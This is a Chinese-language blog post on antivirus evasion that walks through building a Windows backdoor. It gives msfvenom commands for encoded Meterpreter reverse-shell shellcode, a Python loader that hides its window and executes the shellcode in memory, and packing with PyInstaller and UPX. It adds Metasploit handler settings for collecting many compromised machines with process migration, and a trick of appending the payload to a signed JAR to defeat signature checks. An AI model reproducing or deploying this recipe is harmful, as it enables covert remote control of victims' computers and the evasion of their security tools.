免杀

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/88679757

https://xz.aliyun.com/t/3008

经测试,这种方式无法攻击windows10,因为它有defender,我们一旦运行起来,defender就会把它干死

不过,在电脑上装了360安全卫士的情况下,defender会被抑制,我们的后门就可以正常运行了

先使用msfvenom生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=13338 LHOST=192.1681.102  -e x64/zutto_dekiru -i 11 -f py -o  /opt/bk.py

然后把里面的东西复制出来,放到xxxx中,然后保存为1.py

from ctypes import *

import ctypes

xxxxx
xxxxx
xxxxx
 

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4

def executable_code(buffer):

	buf = c_char_p(buffer)

	size = len(buffer)

	addr = libc.valloc(size)

	addr = c_void_p(addr)

	if 0 == addr: 

		raise Exception("Failed to allocate memory")

	memmove(addr, buf, size)

	if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):

		raise Exception("Failed to set protection on buffer")

	return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc

VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(buf)

whnd = ctypes.windll.kernel32.GetConsoleWindow()   

if whnd != 0:

	   if 666==666:

			  ctypes.windll.user32.ShowWindow(whnd, 0)   

			  ctypes.windll.kernel32.CloseHandle(whnd)

print ".................................."*666

memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

										  ctypes.c_int(len(shellcode)),

										  ctypes.c_int(0x3000),

										  ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

old = ctypes.c_long(1)

VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),

									 buf,

									 ctypes.c_int(len(shellcode)))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

使用pyinstaller转换成exe注意要在windows下执行,使用–upx-dir来压缩生成的exe

D:\miansha\pyinstaller-2.0>python PyInstaller.py --console --onefile  1.py

进入pyinstaller的目录的1/dist中即可找到1.exe

使用UPX可以降低最终生成的exe文件的大小

upx用法:只需要使用upx-dir指定upx所在目录即可

pyinstaller myfile.py --upx-dir=..\upx391w -y --onefile

pyinstaller位于当前目录下pyinstaller-2.0

还有就是更改生成的exe的图标,使用-F -i xxx.ico即可

python2 PyInstaller.py -F -i 1.ico 1.py

现在发现的问题就是我们的攻击端只能接收到一个会话,不能批量抓肉鸡,解决方案参考:https://www.cnblogs.com/ssooking/p/6192995.html

就是两条命令:

  • set exitonsession false
  • exploit -j

关于回连时被windows10 defender杀掉的问题

在生成shellcode的时候使用下面这条命令:32位编码器(x86/shikata_ga_nai )

 msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=144.34.164.217 LPORT=55555 RC4PASSWORD=1234 -e  x64/zutto_dekiru -i 11 -f py -o /opt/123.py

执行如下命令进行监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp_rc4
set LHOST 144.34.164.217
set LPORT 55555
set RC4PASSWORD 1234 
set exitonsession false
set AutoRunScript migrate -f
exploit -j

倒数第二条命令用于迁移进程

把payload和现有的已经经过签名的文件混合在一起来绕过检测

https://medium.com/forensicitguy/making-meterpreter-look-google-signed-using-msi-jar-files-c0a7970ff8b7


copy /b 1.msi + 2.jar 3.jar

2.jar是已经经过签名的文件,1.msi是我们的payload

但是要注意的是,payload不能太大,不然会破坏签名

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/88679757